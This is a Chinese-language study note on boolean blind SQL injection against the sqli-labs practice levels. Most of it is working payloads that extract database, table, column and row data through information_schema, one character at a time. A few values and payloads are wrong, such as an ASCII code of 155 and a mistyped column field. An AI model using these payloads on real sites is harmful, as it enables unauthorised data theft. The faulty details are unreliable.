原理
语句正确,页面返回正确;语句错误,页面返回错误。
盲注常用的函数
函数 | 功能 |
---|---|
length() | 返回字符串的长度 |
substr() | 用来截取字符串 |
ascii() | 返回字符adcii码 |
sleep() | |
if(ex1,ex2,ex3) | 判断语句,ex1正确执行ex2,错误执行ex3 |
注入流程
1.判断是否存在注入
- 1' and '1'='1 --+
- 1' and '1'='2 --+
- 根据以上payload,观察页面显示,来判断注入类型
2.猜解当前数据库名
-猜长度
1' and length(database())=1
1' and length(database())=2
//若猜测正确,页面会显示代表正确的字符
有个疑问,在sqli-labs第8关,#注释符,没有起作用,用--+可以,或%23
- 二分法逐字 猜解
1' and ascii(substr(database(),1,1))>97--+
1' and ascii(substr(database(),1,1))<122--+
1' and ascii(substr(database(),1,1))<109--+
3.猜解表名
- 猜解表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1--+
- 猜解第一个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2--+
- 猜解第一个表的名字
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+
4.猜解表中的字段名
- 猜解字段的数量
1' and (select count(column_name) from information_schema.columns where table_name='表名')=1 --+
- 猜解第一个字段的长度
1’ and length(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1))=1--+
- 猜解第一个字段名
1’ and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))>97--+
5.猜解数据
- 二分法猜解数据
1' and ascii(substr((select 列名 from 表名 limit 0,1),1,1))>96--+
- 暴力猜解
1' and (select count(*) 表名 where 列名=‘xxx’)=1--+
举个例子(sqli_labs6)
手工注入
确定是否存在注入点(本质:使参数闭合)
- 以'来判断是否出错
再以"来尝试
2.构造正确逻辑,观察是否返回正确结果。返回正确结果是我们想要的
3.构造错误逻辑,观察是否有结果返回。不返回是我们想要的
猜解当前数据库名
1.猜数据库的长度
- ?id=1' and length(database())=6--+
通过大于7显示,小于8报错,得出数据库的长度为8
2.采取数据库名
通过ascii码表,可知小写字母a-z的十进制数为97-122 大写字母A-Z为65-90,下划线_为95。
判断的时候,以97-122为第一判断范围,且数据库不区分大小写。 - 我们以当前数据库为例
数据库的第一个字母的ascii值:155,对应字母s
数据库的第二个字母的ascii值:101,对应字母e
数据库的第三个字母的ascii值:99,对应字母c
数据库的第四个字母的ascii值:117,对应字母u
数据库的第五个字母的ascii值:114,对应字母r
数据库的第六个字母的ascii值:105,对应字母i
数据库的第七个字母的ascii值:116,对应字母t
数据库的第八个字母的ascii值:116,对应字母y
猜表名
- 猜数据库中有几张表
2.猜第x张表名长度
- and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=xx
- 上述payload是猜第一张表名的长度,如果要猜第二张表的语句呢?length(substr(select table_name from information_schema.tables where table_schema=database() limit 1,1),1)=xxx
可以得出下表结论
第x张表名 | 长度 |
---|---|
1 | 6 |
2 | 8 |
3 | 7 |
4 | 5 |
3.猜表名 |
- and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97
如果在小写范围内没匹配到且在长度范围内,多半是_
| 101 | 109 | 97 | 105 | 108 | 115 |
| ---- | ---- | ---- | ---- | ---- | ---- |
| e | m | a | i | l | s |
猜列名
- 猜确定表中有几列1
--and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=1--+
有2列 - 确定列的长度
- and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1))=1--+
得到结论:
| 第x列 | 列名数量 |
| ----- | -------- |
| 1 | 2 |
| 2 | 8 |
3.确定列的名字 - and substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails'),1,1)='a'--+
通过上图,得到结论:第一列名称是id(mysql是不区分大小写的)
获取第二个列:and substr((select column_schema from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),1,1)='a'--+
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
---|---|---|---|---|---|---|---|
e | m | a | i | l | _ | i | d |
获取数据
1.获取字段有多少行数据
- and (select count(id) from emails)=1--+
id字段共有8行数据
2.获取每行数据的长度 - and length(substr((select id from emails limit 0,1),1))=2--+
八行数据长度都为1
3.获取每行数据的具体内容
SQLmap
是否存在注入点
获取数据库名
获取数据表名
获取字段名
获取数据
总结
- 对sqlmap充满了喜爱感
- 布尔盲注像是你在什么时候去见家长这件事情上迟疑了,让女朋友不开心了,在你问岳父岳母喜好什么,想去准备相应的礼物时,你女朋友只会回答你是,不是。通过手工注入后,充分体会到这个过程真的是不容易。